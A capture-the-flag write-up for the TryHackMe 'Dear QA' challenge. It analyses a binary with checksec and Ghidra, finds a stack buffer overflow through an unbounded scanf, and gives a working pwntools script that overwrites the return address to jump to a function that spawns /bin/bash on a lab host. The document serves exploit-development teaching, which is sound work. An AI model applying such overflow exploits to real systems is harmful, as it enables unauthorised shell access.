Post

TryHackMe: Dear QA Write-up

TryHackMe: Dear QA Write-up

Introduction

Challenge Link : DearQA

Reverse engineer the binary and exploit development.

Binary Exploit

First start by checking the security controls applied into the binary

1
2
3
4
5
6
7
8
9
checksec --file=DearQA-1627223337406.DearQA 
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
  • Stack: No canary found — no stack cookie to detect/stop stack-buffer overflows.
  • PIE: No PIE (0x400000) — binary base is fixed (addresses predictable).

Using Ghidra to analyze the binary, starting from the main function:

Alt

And here is an interesting function that executes “/bin/bash” command using execvefunction

Alt

So the plan is to exploit the stack buffer overflow vulnerability in the main function.

  • main allocates local_28 as RBP - 0x20 → buffer size = 0x20 = 32 bytes
  • scanf writes into that buffer with an unbounded %s (no width shown), so it will overflow if input > 32 bytes.
  • Saved RBP is the next 8 bytes above the buffer; saved return address is the next 8 bytes. Offset from buffer start to return address = 0x20 + 8 = 0x28 (40) bytes
  • vuln() is at address 0x400686and calls execve("/bin/bash",...)
  • Binary has no PIE (fixed addresses), so 0x400686 is stable and can be jumped to directly.

Here is the exploit code; it will send 40 bytes of padding to reach the saved return address, then overwrite the return address with 0x400686 (address of vuln). When main returns, execution will jump to vuln() which spawns /bin/bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwn import *
from time import sleep 

remoteIP = "10.10.193.111"
remotePORT = 5700
Connect = True

VULN_ADDR     = 0x400686   # address of vuln()
OFFSET_TO_RET = 0x28       # 40 bytes (0x20 buffer + 8 saved RBP)

# Build payload: single whitespace-free token for scanf("%s")
payload = b"A" * OFFSET_TO_RET + p64(VULN_ADDR)

if Connect:
	log.info("Connnecting to %s:%d", remoteIP, remotePORT)
	p = remote(remoteIP, remotePORT, timeout=10)
else:
	print("Connection error")

# Send the payload (single token) and go interactive
log.info("Sending Payload .. (%d byte)", len(payload))
p.sendline(payload)
sleep(0.5)
p.interactive()

Alt

It worked and we get a shell!

This post is licensed under CC BY 4.0 by the author.